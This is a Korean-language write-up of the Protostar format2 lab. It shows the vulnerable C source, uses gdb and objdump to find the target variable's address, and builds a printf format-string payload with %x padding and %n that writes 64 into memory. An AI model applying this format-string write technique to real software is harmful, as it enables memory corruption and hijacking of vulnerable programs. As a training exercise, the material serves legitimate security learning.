[Protostar] Format2
About
This level moves on from format1 and shows how specific values can be written in memory.
This level is at /opt/protostar/bin/format2
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
format1번 문제와 printf(buffer)에서 포맷스트링버그가 발생한다는 점이 비슷한데
차이점이
1. 입력 값 : main함수 인자값 → vuln함수 내 fgets 이용
2. target 값 : 수정만되면 됨 → 64으로 일치해야 함
👉 이번에는 target값을 64로 바꿔주어야 한다.
1. target 주소 구하기
1) gdb를 통해서 target주를 확인할 수 있다.
$ gdb format2
(gdb) disass vuln
vuln에서 if(target==64) 가 cmp와 jne 비교구분이 있다는 사실을 통해서 알 수 있다.
cmp eax, 0x40 에서 eax와 0x40(10진수 : 64) 비교하는데 eax의 값은 0x80496e4의 값이기 때문이다.
이때 이 부분이 target의 주소이다.
👉 target주소 : 0x80496e4
target 주소를 확인하는 다른 방법으로 objdump를 사용하는 방법이 있다
objdump -t ./format2 | grep target
2) fgets함수를 이용하여 입력값을 받기 때문에, echo를 통해서 입력값을 줘본다.
3) "AAAA"를 입력값으로 주고 뒤에 %x을 넣어서 414141이 나올 때까지 확인한다.
4) 이제 AAAA뒤에 target을 주소를 넣고, %n을 넣어주면
target의 값은 바뀌었지만 우리가 원하는 64가 아니다.
5) 이제 앞에 %x의 공간을 조절하여서 39를 64로 바꾸면 된다.
왜인지 정확하게는 모르겠지만, %9x부터 1씩 증가한다. 아마도 8bytes의 주소 자릿수 때문인 거 같다.
📌 최종 페이로드 :
echo $(python -c 'print "AAAA"+"\xe4\x96\x04\x08"+"%x."*3+"%33x."+"%n"') | ./format2
성공!